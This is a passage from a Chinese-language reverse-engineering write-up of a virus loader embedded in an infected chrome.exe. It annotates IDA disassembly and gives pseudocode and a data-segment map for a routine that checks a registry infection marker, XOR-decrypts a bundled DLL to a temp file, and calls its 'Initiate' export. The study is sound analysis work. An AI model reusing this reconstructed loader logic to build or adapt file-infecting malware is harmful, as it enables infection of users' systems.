seg000:004D537D push 0
;参数2 ( 0 )压栈
seg000:004D537F push edx
;参数1(字符串指针)压栈
seg000:004D5380 push h
;参数0( 0xh )压栈
seg000:004D5385 call dword ptr [esi+2Ch]
;查函数地表,esi + 2ch 保存的是RegOpenKeyExA的入口地址( 2ch 对应序数11)
;调用RegOpenKeyExA( 0x,”……explorer”,0,0x20019,,&v_4)
;查询MSDN以及SDK中的头文件确定此函数调用中出现的常数的含义
;0x : HKEY_CURRENT_USER
; 0 :options
; 0x20019 : 打开权限相关的常数。KEY_READ (0x20019)
;此处的函数调用要打开注册表键
;HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Explorer
;句柄保存在变量v_4中
seg000:004D5388 test eax, eax
seg000:004D538A jnz short loc_4D53B2
;如果注册表打开失败,则直接返回0
seg000:004D538C lea ecx, [ebp+var_8]
;ecx指向变量v_8,v_8已经被初始化为0x106 seg000:004D538F add edi, 0F0h
;edi开始为字符串表指针,加上0xf0以后,指向字符串“PINF” seg000:004D5395 push ecx
;参数5(v_8的指针)压栈
seg000:004D5396 push [ebp+arg_0]
;arg_0: 指向某变量/缓冲区的指针
;参数4压栈 seg000:004D5399 push 0
;参数3压栈 seg000:004D539B push 0
;参数2压栈 seg000:004D539D push edi
;参数1(字符串“PINF”的指针)压栈
seg000:004D539E push [ebp+var_4]
;v_4 :注册表键句柄
;参数0压栈
seg000:004D53A1 call dword ptr [esi+30h]
;查函数地表,esi + 30h 保存的是RegQueryValueKeyEx的入口地址( 30h 对应序数12)
;查MSDN以及SDK头文件,确定各个参数的含义 ;参数0:注册表鍵句柄
;参数1:表示键值名称的字符串指针
;参数2:未用,设为0
;参数3:指向双字的变量,用于接收键值类型,可以为NULL,这里0表示NULL
;参数4:指向输出缓冲区的指针
;参数5:指向双字变量(v_8),该变量指出输出缓冲区的大小,函数返回时,值被修改成实
;际复制到输出缓冲区的数据大小。V_8 初始值为0x106,可见arg_0是指向一个大小为0x106
;字节的缓冲区,这里还无法确定“PINF”的值是什么类型,该类型的确定需要看后期怎么
;使用arg_0指向的缓冲区了。
seg000:004D53A4 test eax, eax
seg000:004D53A6 setz bl
seg000:004D53A9 and ebx, 1
;RegQueryValueKeyEx成功返回,设置ebx为1,否则为0
seg000:004D53AC push [ebp+var_4]
;参数0(注册表键句柄)压栈
seg000:004D53AF call dword ptr [esi+34h]
;查函数地表,esi + 34h 保存的是RegCloseKey的入口地址( 34h 对应序数13) seg000:004D53B2
seg000:004D53B2 loc_4D53B2: ; CODE XREF:
sub_4D5356+34j
seg000:004D53B2 mov eax, ebx
;return ebx
seg000:004D53B4 pop edi
seg000:004D53B5 pop esi
seg000:004D53B6 pop ebx
seg000:004D53B7 pop ecx
seg000:004D53B8 pop ecx
seg000:004D53B9 pop ebp
seg000:004D53BA retn 0Ch
seg000:004D53BA sub_4D5356 endp
现在,函数 sub_4D5356 分析完成了,显然此函数的功能是读取注册表特定的键值,成功返回 1,并将读取到的数据写入参数指定的缓冲区中,失败返回 0。笔者在 idb 文件中将此函数重命名为 CheckReg。下面以一段伪码结束此函数的分析。
CheckReg( OUT LPBYTE buffer )
DWORD Result ,cbBufSize = 0x106;
Result = RegOpenKeyExA( HKEY_CURRENT_USER,”
Software\Microsoft\Windows\CurrentVersion\Explorer”,0,KEY_READ,&hKey );
If( Result )return 0;
Result =! RegQueryValueKeyEx( hKey,”PINF”,0,NULL,buffer,&cbBufSize );
RegCloseKey( hKey );
分析函数 sub_004D51AA
seg000:004D51F5 test al, al
seg000:004D51F7 jz short loc_4D5217
;如果sub_4D5356A 的返回值为 0,则控制传递给 4D5217
seg000:004D51F9 cmp [ebp+var_140], 7
seg000:004D5201 jb short loc_4D5217
;查看一下IDA对v_140的类型描述,为word型。可见,v_140占用了大小为0x106字节的
;缓冲区前两个字节。而且被用作一个无符号数。结合以上的分析,该0x106字节的缓冲区
;所代表的数据类型很可能是REG_BINARY
;如果 v_140小于7,则同样跳转到4D5217。这里的7代表什么含义呢?到函数4D51AA分
;析完成的时候再对此进行说明。
分析函数 sub_004D53BE(调用部分)
seg000:004D5203 push esi
;esi: 字符串表基址 ;参数3压栈
seg000:004D5204 push edi
;edi:数据段基址 ;参数2压栈
seg000:004D5205 lea ecx, [ebp+var_38]
seg000:004D5208 push ecx
;ecx:函数地址表基址 ;参数1压栈
seg000:004D5209 lea eax, [ebp+var_13E]
seg000:004D520F push eax
;eax:指向v_13E 注意,&v_13e = &v_140 + sizeof(WORD),可见v_13e属于上边已经被初始化
;的大小为0x106的缓冲区。这里指针eax很可能被用作输入参数而不是输出参数。
;参数0(缓冲区指针&v_140+2)压栈。
seg000:004D5210 call sub_4D53BE
分析函数 sub_004D53BE(实现部分)
seg000:004D53BE sub_4D53BE CODE XREF:
sub_4D51AA+66p
seg000:004D53BE ; sub_4D51AA+93p
seg000:004D53BE
seg000:004D53BE arg_0 = dword ptr 8
;arg_0:缓冲区基址(指向的缓冲区极可能用于输入)
seg000:004D53BE arg_4 = dword ptr 0Ch
;arg_4:函数地址表基址
seg000:004D53BE arg_8 = dword ptr 10h
;arg_8:数据段基址
seg000:004D53BE arg_C = dword ptr 14h
;arg_C:字符串表基址
seg000:004D53BE
seg000:004D53BE push ebp
seg000:004D53BF mov ebp, esp
seg000:004D53C1 push ebx
seg000:004D53C2 mov ebx, [ebp+arg_4]
;ebx:函数地址表基址(指针)
seg000:004D53C5 push [ebp+arg_0]
;arg_0 缓冲区基址,这里可以看出指向的缓冲区明显是用于输入的(已经被初始化)
;参数0压栈 seg000:004D53C8 call dword ptr [ebx]
;查询函数地址表,确认这里调用的是0号函数,LoadLibraryA,因此也可以知道,刚压入的
;参数arg_0指向某表示(dll)模块路径的字符串
seg000:004D53CA test eax, eax
seg000:004D53CC jz short loc_4D53ED
;模块加载失败,则直接返回0
seg000:004D53CE mov edx, [ebp+arg_C]
seg000:004D53D1 add edx, 0F5h
seg000:004D53D7 push edx
;查询字符串表,可知edx指向字符串“Initiate”
seg000:004D53D8 push eax
;eax: 刚加载模块的基址
seg000:004D53D9 call dword ptr [ebx+4]
;查询函数地址表,得知此处调用的是1号函数 GetProcAddress,
;明显这里要取得刚加载模块中导出函数 Initiate 的地址
seg000:004D53DC test eax, eax
seg000:004D53DE jz short loc_4D53ED
;如果获取Initiate函数地址失败,直接返回0
seg000:004D53E0 push [ebp+arg_8]
;参数0(数据段基址arg_8)压栈
seg000:004D53E3 call eax
;调用Initiate 函数,这里可知Initiate函数有一个参数,即指向数据段的指针
seg000:004D53E5 test al, al
seg000:004D53E7 jz short loc_4D53ED
seg000:004D53E9 mov al, 1
;如果Initiate函数返回0,则返回0,否则返回1
seg000:004D53EB jmp short loc_4D53EF
seg000:004D53ED ; --------------------------------------------------------------------------- seg000:004D53ED
seg000:004D53ED loc_4D53ED: ; CODE XREF:
sub_4D53BE+Ej seg000:004D53ED sub_4D53BE+20j ...
seg000:004D53ED xor eax, eax
seg000:004D53EF
seg000:004D53EF loc_4D53EF: ; CODE XREF:
sub_4D53BE+2Dj seg000:004D53EF pop ebx
seg000:004D53F0 pop ebp
seg000:004D53F1 retn 10h
seg000:004D53F1 sub_4D53BE endp
至此,函数sub_4D53BE就分析完成了,明显,该函数的主要功能是加载输入缓冲区中指定的模块,并以数据段基址为唯一参数调用其导出函数 Initiate。在idb文件中,笔者把此函数重命名为 CheckAndCallInitiate。需要指出的是,这里的数据段被用作所谓的“协议”数据,因为加载的模块引用了此数据段。所以,对于该数据段的最精确的分析,要在分析此函数中加载的模块的过程中进行,最后,给出此函数的伪码:
CheckAndCallInitiate ( IN LPBYTE ModuleName ,IN LPVOID DataBase)
HMODULE hMod = LoadLibraryA( ModuleName );
PVOID func_Initiate = NULL;
If( !hMod )return 0;
func_Initate = GetProcAddress( hMod,”Initiate”);
If( !func_Initiate )return 0;
If(*((DWORD (*)(PVOID))func_Initiate)( DataBase ))
分析函数 sub_004D51AA
;在函数sub_4D53BE分析完成后,我们可以确定v_140所在的大小为0x106的缓冲区(由注
;册表初始化)的含义,即:前两个字节是一个WORD ,后面是一个指出模块名称的字符串。
seg000:004D5215 mov ebx, eax
seg000:004D5217
seg000:004D5217 loc_4D5217: ; CODE XREF:
sub_4D51AA+4Dj
seg000:004D5217 ; sub_4D51AA+57j
seg000:004D5217 test bl, bl
seg000:004D5219 jnz short loc_4D5242
;如果函数CheckAndCallInitiate返回1,则控制传递给OEP执行原始程序。
分析函数 sub_004D53F6(调用部分)
seg000:004D521B push edi
;edi :数据段基址
;参数2压栈
seg000:004D521C lea eax, [ebp+var_38]
seg000:004D521F push eax
;eax:函数地址表基址 ;参数1压栈
seg000:004D5220 lea edx, [ebp+var_13E]
seg000:004D5226 push edx
;edx: 缓冲区指针,用于字符串,可能用于输入或者输出,目前无法确定
;参数0压栈
seg000:004D5227 call sub_4D53F6
分析函数 sub_004D53F6(实现部分)
seg000:004D53F6 sub_4D53F6 CODE XREF:
sub_4D51AA+7Dp
seg000:004D53F6
seg000:004D53F6 var_2914 = byte ptr -2914h
seg000:004D53F6 var_114 = byte ptr -114h
seg000:004D53F6 var_10 = byte ptr -10h
seg000:004D53F6 var_C = dword ptr -0Ch
seg000:004D53F6 var_8 = dword ptr -8
seg000:004D53F6 var_4 = dword ptr -4
seg000:004D53F6 arg_0 = dword ptr 8
;arg_0:缓冲区指针,输入/输出目前无法确定
seg000:004D53F6 arg_4 = dword ptr 0Ch
;arg_4:函数地址表指针
seg000:004D53F6 arg_8 = dword ptr 10h
;arg_8:数据段基址
seg000:004D53F6
seg000:004D53F6 push ebp
seg000:004D53F7 mov ebp, esp
seg000:004D53F9 push eax
;保存eax值到v_4,同时分配4字节的栈空间
seg000:004D53FA mov eax, 2
seg000:004D53FF
seg000:004D53FF loc_4D53FF: ; CODE XREF:
sub_4D53F6+11j
seg000:004D53FF add esp, -0FFCh
seg000:004D5405 push eax
seg000:004D5406 dec eax
seg000:004D5407 jnz short loc_4D53FF
;循环执行再次,每次分配0x1000字节的栈空间,累积共分配0x2000字节 seg000:004D5409 mov eax, [ebp+var_4]
;从v_4恢复eax的值 seg000:004D540C add esp, -910h
;分配0x910字节的栈空间
;可以看出,以上代码实现的功能就是分配0x2914 字节的栈空间,然而有些疑问,这里难道
;不能一次分配0x2914字节的栈空间吗?编译器为什么生成这么没效率的代码?
; 笔者的猜想:0x1000正好为一页内存,栈中每次分配一页内存的时候,都要访问该页内存一
;次,从而触发操作系统可能的缺页中断进行调页,如果只递减esp,而不去访问相应页面,
;就有可能发生“跨页”现象,比如一次给esp减0x2000,中间有一页内存可能就无法访问
;到。从而和系统分配栈的物理内存机制有冲突导致异常。可能是基于这类原因,编译器要
;保证每根本一页栈内存时都要访问其一次才采用了上边的代码。
;其实在windows环境下,这么操作是没必要的。微软的编译器从不产生这样的代码。直接
;递减esp,到真正用的时候再访问内存,系统会正确处理这个情况,不会发生错误。
;笔者对此处的理解目前是这样的,可能有错误,希望看到的人批评指正,,,,
seg000:004D5412 push ebx
seg000:004D5413 push esi
seg000:004D5414 push edi
seg000:004D5415 mov ebx, [ebp+arg_4]
;ebx初始化为函数地址表基址
seg000:004D5418 mov esi, [ebp+arg_0]
;esi:缓冲区指针,很可能用于字符串 seg000:004D541B push 104h
;参数2(常量0x104)压栈
seg000:004D5420 lea eax, [ebp+var_114]
seg000:004D5426 push eax
;参数1(指向v_114 的指针)压栈
seg000:004D5427 push 0
;参数0(常量0)压栈
seg000:004D5429 call dword ptr [ebx+28h]
;28h对应函数序数10,这里调用的是:GetModuleFileNameA( NULL,&v_114,0x104)
;显然此处将主程序的全路径存到v_114代表的大小为0x104的缓冲区中。
seg000:004D542C push 0
seg000:004D542E push 1
seg000:004D5430 push 3
seg000:004D5432 push 0
seg000:004D5434 push 1
seg000:004D5436 lea edx, [ebp+var_114]
;edx为文件名指针
seg000:004D543C push h
seg000:004D5441 push edx
seg000:004D5442 call dword ptr [ebx+10h]
;10h代表函数序数4,查函数地址表为CreateFileA,结合SDK头文件和MSDN,此处的调用
;是 CreateFileA( &v_114,GENERIC_READ, FILE_SHARE_READ,NULL,OPEN_EXISTING,
;FILE_ATTRIBUTE_READONLY,NULL)
seg000:004D5445 mov edi, eax
;edi为主程序可执行文件句柄
seg000:004D5447 cmp edi, 0FFFFFFFFh
seg000:004D544A jz loc_4D557F
;如果文件打开失败,直接返回0
seg000:004D5450 lea eax, [ebp+var_114]
seg000:004D5456 push eax
seg000:004D5457 push 104h
seg000:004D545C call dword ptr [ebx+8]
;GetTempPathA( 0x104,&v_114 );
seg000:004D545F call dword ptr [ebx+24h]
seg000:004D5462 mov [ebp+var_8], eax
;v_8 = GetTickCount();
seg000:004D5465 xor ecx, ecx
seg000:004D5467
seg000:004D5467 loc_4D5467: ; CODE XREF:
sub_4D53F6+8Bj
seg000:004D5467 xor eax, eax
seg000:004D5469 mov al, byte ptr [ebp+ecx+var_8]
seg000:004D546D push ecx
seg000:004D546E mov ecx, 0Ah
seg000:004D5473 cdq
seg000:004D5474 idiv ecx
seg000:004D5476 pop ecx
seg000:004D5477 add al, 61h
seg000:004D5479 mov byte ptr [ebp+ecx+var_8], al
seg000:004D547D inc ecx
seg000:004D547E cmp ecx, 2
seg000:004D5481 jle short loc_4D5467
seg000:004D5483 mov byte ptr [ebp+var_8+3], 0
;一段以ecx为循环变量的循环,下边直接给出伪代码
;unsigned char *p = &v_8;//注意上边除指令用的IDIV,这里为什么要写成无符号呢?
;for( ecx = 0,;ecx &=2;ecx++)
; p[ecx] = p[ecx]/10 + ‘a’
;p[ecx]=0;
;这段循环其实是生成一个3个字符的随机字串 seg000:004D5487 push esi
;esi: arg_0 缓冲区指针
seg000:004D5488 push 0
seg000:004D548A lea ecx, [ebp+var_8]
seg000:004D548D push ecx
seg000:004D548E lea eax, [ebp+var_114]
seg000:004D5494 push eax
seg000:004D5495 call dword ptr [ebx+0Ch]
;GetTempFileNameA( &v_114,&v_8,0,arg_0 )
;把arg_0指向的缓冲区初始化一个临时文件的全路径字符串。可见,这里arg_0指向的缓冲
;区确实用于字符串,而且是输出参数。
;生成的临时文件名为随机字串,扩展名为tmp
seg000:004D5498 push 0
seg000:004D549A push 80h
seg000:004D549F push 2
seg000:004D54A1 push 0
seg000:004D54A3 push 1
seg000:004D54A5 push 0C0000000h
seg000:004D54AA push esi
seg000:004D54AB call dword ptr [ebx+10h]
seg000:004D54AE mov [ebp+var_C], eax
;v_c = CreateFileA( arg_0,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,NULL,
; CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL)
seg000:004D54B1 cmp [ebp+var_C], 0FFFFFFFFh
seg000:004D54B5 jz loc_4D5575
; 如果临时文件创建失败,则关闭主程序可执行文件句柄并返回0
seg000:004D54BB mov edx, [ebp+arg_8]
seg000:004D54BE mov esi, [edx+18h]
seg000:004D54C1 push 0
seg000:004D54C3 push 0
seg000:004D54C5 mov eax, [ebp+arg_8]
seg000:004D54C8 push dword ptr [eax+14h]
seg000:004D54CB push edi
;edi : 主程序可执行文件句柄
seg000:004D54CC call dword ptr [ebx+1Ch]
;查函数地址表得此处为对SetFilePointer的调用
;SetFilePointer( hExeFile, *(PDWORD)(arg_8 + 0x14),NULL,FILE_BEGIN );
;由于arg_8是数据段基址,这里可以确定数据段偏移0x14的字段为一个双字,表示主程序
;可执行文件内部的一个相对文件起始位置的偏移值。
seg000:004D54CF cmp esi, 2800h
;esi: 数据段偏移0x18处的一个双字,现在还无法明确其意义,与0x2800有何关系?
seg000:004D54D5 jbe short loc_4D552D
;如果esi小于0x2800 则跳转至 4D552D处执行
seg000:004D54D7
seg000:004D54D7 loc_4D54D7: ; CODE XREF:
sub_4D53F6+135j
seg000:004D54D7 push 0
seg000:004D54D9 lea edx, [ebp+var_10]
seg000:004D54DC push edx
seg000:004D54DD push 2800h
seg000:004D54E2 lea ecx, [ebp+var_2914]
seg000:004D54E8 push ecx
seg000:004D54E9 push edi
seg000:004D54EA call dword ptr [ebx+14h]
;查函数地址表得到此处的函数调用为 ReadFile
;ReadFile( hExeFile,&v_0,&v_10,NULL);
;v_2914代表的缓冲区用于保存读出的文件内容
;0x2800代表要读出的字节数,由于前边有与0x2800 的比较,当前处于esi大于0x2800的
;v_10用于获取实际读取的字节数
分析函数 sub_4D5592(调用部分)
seg000:004D54ED push 2800h
;参数2(常数0x2800)压栈
seg000:004D54F2 lea eax, [ebp+var_2914]
seg000:004D54F8 push eax
;参数1(缓冲区v_2914)压栈
seg000:004D54F9 mov edx, [ebp+arg_8]
seg000:004D54FC push dword ptr [edx+80h]
;参数0(数据段偏移为0x80的双字)压栈
seg000:004D5502 call sub_4D5592
分析函数 sub_4D5592(实现部分)
seg000:004D5592 sub_4D5592 CODE XREF:
sub_4D53F6+10Cp
seg000:004D5592 ;sub_4D53F6+15Ap
seg000:004D5592
seg000:004D5592 arg_0 = dword ptr 8
;arg_0:一个双字
seg000:004D5592 arg_4 = dword ptr 0Ch
;arg_4:缓冲区指针
seg000:004D5592 arg_8 = dword ptr 10h
;arg_8:一个双字
seg000:004D5592
seg000:004D5592 push ebp
seg000:004D5593 mov ebp, esp
seg000:004D5595 push ebx
seg000:004D5596 mov ebx, [ebp+arg_0]
;ebx:参数0代表的双字
seg000:004D5599 mov edx, [ebp+arg_4]
;edx:缓冲区指针
seg000:004D559C mov ecx, [ebp+arg_8]
;ecx:参数2代表的双字
seg000:004D559F test ecx, ecx
seg000:004D55A1 jns short loc_4D55A6
seg000:004D55A3 add ecx, 3
seg000:004D55A6
seg000:004D55A6 loc_4D55A6: ; CODE XREF:
sub_4D5592+Fj
seg000:004D55A6 sar ecx, 2
;4D559F 至4D55A6 的代码完成有符号数ecx除4 的运算。注意,无符号数除4 可以直接
;通过右移2位的方法实现,而有符号数则不能直接这样做。
seg000:004D55A9 xor eax, eax
seg000:004D55AB cmp ecx, eax
seg000:004D55AD jle short loc_4D55B7
seg000:004D55AF
seg000:004D55AF loc_4D55AF: ; CODE XREF:
sub_4D5592+23j
seg000:004D55AF xor [edx+eax*4], ebx
seg000:004D55B2 inc eax
seg000:004D55B3 cmp ecx, eax
seg000:004D55B5 jg short loc_4D55AF
;004D55A9至004D55B5之间是一个以eax为循环变量的简单循环,伪码如下:
;for( eax = 0;eax &eax++)
; ((PDWORD)arg_4)[ eax ] ^= arg_0
;可见,arg_0 是一个key,arg_8 是缓冲区大小,除4得到的其实是双字个数
seg000:004D55B7
seg000:004D55B7 loc_4D55B7: ; CODE XREF:
sub_4D5592+1Bj
seg000:004D55B7 pop ebx
seg000:004D55B8 pop ebp
seg000:004D55B9 retn 0Ch
seg000:004D55B9 sub_4D5592 endp
至此,函数sub_4D5592分析完了,其功能是对指定的缓冲区按给定的密钥进行加密/解密操作。在idb文件中,笔者将此函数重命名为encode。下面给出伪码:
encode( DWORD key,LPBYTE buffer,LONG length )
PDWORD p = (PDWORD)
for( int i = 0;i & length / 4;i++ )
分析函数 sub_004D53F6(实现部分)
通过刚刚分析完成的 encode 我们得到了一个重要的信息,即数据段偏移为 0x80 的双字表示一个密钥
seg000:004D5507 lea ecx, [ebp+var_10]
seg000:004D550A push 0
seg000:004D550C push ecx
seg000:004D550D lea eax, [ebp+var_2914]
seg000:004D5513 push 2800h
seg000:004D5518 push eax
seg000:004D5519 push [ebp+var_C]
;v_c代表刚打开的临时文件句柄
seg000:004D551C call dword ptr [ebx+18h]
;查函数地址表得到此处的函数调用是:WriteFile
;WriteFile( hTempFile,&v_0,&v_10,NULL);
;此处的作用是把刚从主程序的可执行文件中读出的经过解密的0x2800字节数据写到临时文
seg000:004D551F sub esi, 2800h
;esi -= 0x2800
seg000:004D5525 cmp esi, 2800h
seg000:004D552B ja short loc_4D54D7
;如果esi 大于 0x2800 跳转到4D54D7循环执行“esi大于0x2800” 的分支
seg000:004D552D
seg000:004D552D loc_4D552D: ; CODE XREF:
sub_4D53F6+DFj
seg000:004D552D push 0
seg000:004D552F lea edx, [ebp+var_10]
seg000:004D5532 push edx seg000:004D5533 push esi
;此处是读取数据的大小,现在处于“esi小于0x2800”的分支
seg000:004D5534 lea ecx, [ebp+var_2914]
seg000:004D553A push ecx
seg000:004D553B push edi
seg000:004D553C call dword ptr [ebx+14h]
;ReadFile seg000:004D553F push esi
seg000:004D5540 lea eax, [ebp+var_2914]
seg000:004D5546 push eax
seg000:004D5547 mov edx, [ebp+arg_8]
seg000:004D554A push dword ptr [edx+80h]
seg000:004D5550 call sub_4D5592
;调用encode 完成加密/解密操作
seg000:004D5555 push 0
seg000:004D5557 lea ecx, [ebp+var_10]
seg000:004D555A push ecx
seg000:004D555B push esi
;和上边的esi相似
seg000:004D555C lea eax, [ebp+var_2914]
seg000:004D5562 push eax
seg000:004D5563 push [ebp+var_C]
seg000:004D5566 call dword ptr [ebx+18h]
;WriteFile
seg000:004D5569 push [ebp+var_C]
seg000:004D556C call dword ptr [ebx+20h]
;CloseHandle( hTempFile )
seg000:004D556F mov byte ptr [ebp+var_4+3], 1
seg000:004D5573 jmp short loc_4D5579
;关闭主程序可执行文件句柄并返回1
;通过上边的分析,我们可以发现对文件数据的处理是以大小为0x2800 的块为单位进行的,
;而esi 则表示总的要处理的数据量。因此,我们得出一个结论:数据段偏移0x18处的双字
;表示主程序可执行文件中所捆绑的文件大小,而数据段偏移0x14 的双字代表所捆绑文件的
;文件偏移 seg000:004D5575
; ---------------------------------------------------------------------------
seg000:004D5575
seg000:004D5575 loc_4D5575: ; CODE XREF:
sub_4D53F6+BFj
seg000:004D5575 mov byte ptr [ebp+var_4+3], 0
seg000:004D5579
seg000:004D5579 loc_4D5579: ; CODE XREF:
sub_4D53F6+17Dj
seg000:004D5579 push edi
seg000:004D557A call dword ptr [ebx+20h] seg000:004D557D jmp short loc_4D5583
seg000:004D557F ; ---------------------------------------------------------------------------
seg000:004D557F
seg000:004D557F loc_4D557F: ; CODE XREF:
sub_4D53F6+54j
seg000:004D557F mov byte ptr [ebp+var_4+3], 0
seg000:004D5583
seg000:004D5583 loc_4D5583: ; CODE XREF:
sub_4D53F6+187j
seg000:004D5583 mov al, byte ptr [ebp+var_4+3]
seg000:004D5586 pop edi
seg000:004D5587 pop esi
seg000:004D5588 pop ebx
seg000:004D5589 mov esp, ebp
seg000:004D558B pop ebp
seg000:004D558C retn 0Ch
seg000:004D558C sub_4D53F6 endp
至此,函数sub_4D53F6的分析完成了。其功能是提取主程序可执行文件中捆绑的文件,进行解密,并释放到临时文件中,临时文件的全路径保存到参数0所指定的缓冲区中。在idb中,笔者将此函数重命名为ProduceDll。下边给出ProduceDll 的伪码:
DWORD ProduceDll( OUT
LPBYTE filename, IN
HANDLE hExeFile,hTempF
DWORD tick ,retBytes,dllS
LPVOID DataBase )
buffer[0x2800];
tmpFileName[0x104];
GetModuleFileNameA( NULL,&tmpFileName,0x104 );
hExeFile = CreateFileA( &tmpFileName,GENERIC_READ,
FILE_SHARE_READ,NULL,OPEN_EXISTING,
FILE_ATTRIBUTE_READONLY,NULL);
If( hExeFile == INVALID_HANDLE_VALUE )return 0;
GetTempPathA(0x104, &tmpFileName );
tick = GetTickCount();
for( int I = 0;I &= 2;i++)
((unsigned char *)&tick)[i] = ‘a’ + ((unsigned char *)&tick)[i] / 10;
((unsigned char *)&tick)[3] = 0;
GetTempFileName( &tmpFileName,&tick,0,filename );
hTempFile = CreateFileA( filename,GENERIC_READ |
GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
If( hTempFile == INVALID_HANDLE_VALUE )
CloseHandle( hExeFile );
SetFilePointer( hExeFile,DataBase.dll_offset/*+0x14*/,NULL,FILE_BEGIN );
dllSize = DataBase.dll_size/*+0x18*/;
while( dllSize & 0x2800 )
ReadFile( hExeFile,buffer,0x2800,&retBytes,NULL );
encode( DataBase.key/*+0x80*/,buffer,0x2800 );
WriteFile( hTempFile,buffer,0x2800,&retBytes,NULL);
dllSize -= 0x2800;
ReadFile( hExeFile,buffer,dllSize,&retBytes,NULL );
encode( DataBase.key/*+0x80*/,buffer,dllSize );
WriteFile( hTempFile,buffer,dllSize ,&retBytes,NULL);
CloseHandle( hTempFile );
CloseHandle( hExeFile );
分析函数 sub_4D51AA
seg000:004D522C test al, al
seg000:004D522E jz short loc_4D5242
;如果ProduceDll返回0,则直接返回,控制传给OEP执行主程序
seg000:004D5230 push esi
;字符串表指针压栈
seg000:004D5231 push edi
;数据段基址压栈
seg000:004D5232 lea ecx, [ebp+var_38]
seg000:004D5235 push ecx
;函数地址表指针压栈
seg000:004D5236 lea eax, [ebp+var_13E]
seg000:004D523C push eax
;可执行模块路径字符串指针压栈
seg000:004D523D call CheckAndCallInitiate
;调用CheckAndCallInitiate seg000:004D5242
seg000:004D5242 loc_4D5242: ; CODE XREF:
sub_4D51AA+38j
seg000:004D5242 ; sub_4D51AA+6Fj ...
seg000:004D5242 pop edi
seg000:004D5243 pop esi
seg000:004D5244 pop ebx
seg000:004D5245 mov esp, ebp
seg000:004D5247 pop ebp
seg000:004D5248 retn
seg000:004D5248 sub_4D51AA endp
现在对于sub_4D51AA的分析也已经完成。该函数类似病毒加载器的主程序。在idb中笔者将此函数重命名为loader_main。下边同样,给出伪代码:
VOID loader_main( PVOID DataBase)
func_addr_tbl[14];
#pragma pack(push)
#pragma pack(1)
struct _reg_data
//调整到单字节对齐
filename[0x104];
#pragma pack(pop)
//替换函数返回地址为 OEP 的 VA
If( !ImportMyFunc(…))
If( CheckReg( (LPBYTE)&reg_data ) && reg_data.version &=7 &&
CheckAndCallInitiate( reg_data.filename ) )
ProduceDll( reg_data.filename );
CheckAndCallInitiate( reg_data.filename );
前边曾经留下一个疑问,即从注册表中读出信息的前两个字节用作一个数字,该数字曾经与7进行过比较,根据比较结果,程序转向不同的分支。现在我们可以猜测此值是系统已经感染的同系列病毒的版本号,而7正是当前病毒的版本号。为什么这样猜测?结合代码我们可以发现,如果前期感染的版本小于当前版本,则需要释放dll并更新系统中驻留的病毒版本,相反,不需要更新,只需要直接调用系统中已经释放出去的病毒dll即可。由此,我们也可以推断,这病毒是有人负责长期维护更新的,不是一个简单的玩具,呵呵,,,,
好了,终于我们分析完了病毒Loader部分的所有代码。该Loader实现的主要功能概括如下:
1、 建立执行环境
2、 检测注册表检测系统是否已经被感染,以及感染的病毒版本是多少
3、 如果未被感染,或者,已经被感染但版本小于 7,则执行病毒指定的操作(释放加载 dll并调用 dll 的导出函数“Initiate”)
4、 如果已经被感染,且版本至少为 7,则加载注册表中指定的 dll 并调用其导出的“Initiate”函数
5、 执行宿主程序(OEP)
下边再次展示一下分析完成后的调用关系图:
结合分析过程中的红色文字,现在我们得到的数据段信息如下(设数据段基址为 database):
+0x08: org_image_base
+0x0c:org_entry_point(OEP) RVA
+0x14:dll_file_offset 捆绑dll在宿主文件中的文件偏移
+0x18:dll_file_size 捆绑dll的大小(单位字节)
+0x20:func_tbl 指向某个函数地址表,该表前两个函数是LoadLibrary和GetProcAddress
+0x24:指向字符串“GetTempPathW”的指针
+0x28:指向字符串“GetLastError”的指针
+0x80:key 用于解密捆绑的dll文件
string_table ( database + 0x84 )
+0x00:”Kernel32.dll”
+0x0D:”GetTempPathA”
+0x1A:”GetTempFileNameA”
+0x2B:”CreateFileA”
+0x37:”ReadFile”
+0x40:”WriteFile”
+0x4A:”SetFilePointer”
+0x59:”CloseHandle”
+0x65:”GetTickCount”
+0x72:”GetModuleFileNameA”
+0x85:”ADVAPI32.dll”
+0x92:”RegOpenKeyExA”
+0xA0:”RegQueryValueExA”
+0xB1:”RegCloseKey”
+0xBD:” Software\Microsoft\Windows\CurrentVersion\Explorer”
+0xF0:”PINF” +0xF5:”Initiate”
由于在调用捆绑的dll中的导出函数Initiate时,传入了参数database,所以对database中各字段的详细分析要在病毒释放出的dll中进行。这是后期分析的关键性任务之一。
5 提取被捆绑的 dll 文件
如何提取病毒释放出的dll 文件呢?其实上节已经给出了方法。在数据段0x14,0x18 的地方存有关键信息。我们从附件中 chrome.exe.virus中指定偏移处提取指定大小的数据,并用数据段偏移0x80处的key进行解密即可。解密参考encode函数和ProduceDll函数。操作的方法有很多,我们可以选择任何自己喜欢的方式。笔者是在ProduceDll函数中下断点,然后直接从临时文件中拷贝出来的,调试的时候大家一定要注意安全,呵呵。
然而,还有个问题,笔者曾经忽略了,直接把提取到的dll放到IDA中,结果一团乱,什么也看不懂。因为笔者不会弄VMP,所以以为是被VM了,差点放弃继续弄了。这里要多谢韬哥的不屑帮助,才发现是UPX壳。哎,经验真是很重要的东西。用一个UPX脱壳机就可以脱掉,很简单。脱壳后查壳显示是“Borland C++ DLL Method 2”,虽然对Borland C++不是很熟悉,但不管怎样又能继续寻找秘密了。附件中main_virus.dll.bak是未脱壳的版本,main_virus.dll 是脱壳后的,把这个载入IDA,开始我们下边的揭秘活动吧。
6 分析main_virus.dll
将main_virus.dll 载入IDA,IDA自动加载了Borland C++库,可见前边的查壳结果基本上是可靠的。初步浏览一下这个dll,被IDA识别成库代码的部分占用了很大的比例。然而即使这样,由于有些库函数并没有准确识别,而且整体上采用了面向对象编程的方法,这给分析工作造成了一定的麻烦,尤其是在这里准确表述分析过程更是件令人头疼的事情。基于以上几点的考虑,在下边的分析过程中,笔者不准备再和分析Loader一样写出详细的理解汇编代码的过程,而是更倾向于表述分析思路和方法,如果想了解细节,附件中的main_virus.idb 文件可能有些帮助。同时说明一点,为了弄清楚一些不明函数的作用,调试器的应用会更多,建议大家在虚拟机中调试,多建快照,一定要注意安全!因为是第一次分析此类程序,经验尤其不足,迫切希望小牛大牛,小鸟老鸟们拍砖!
6.1 分析main_virus.dll的框架结构
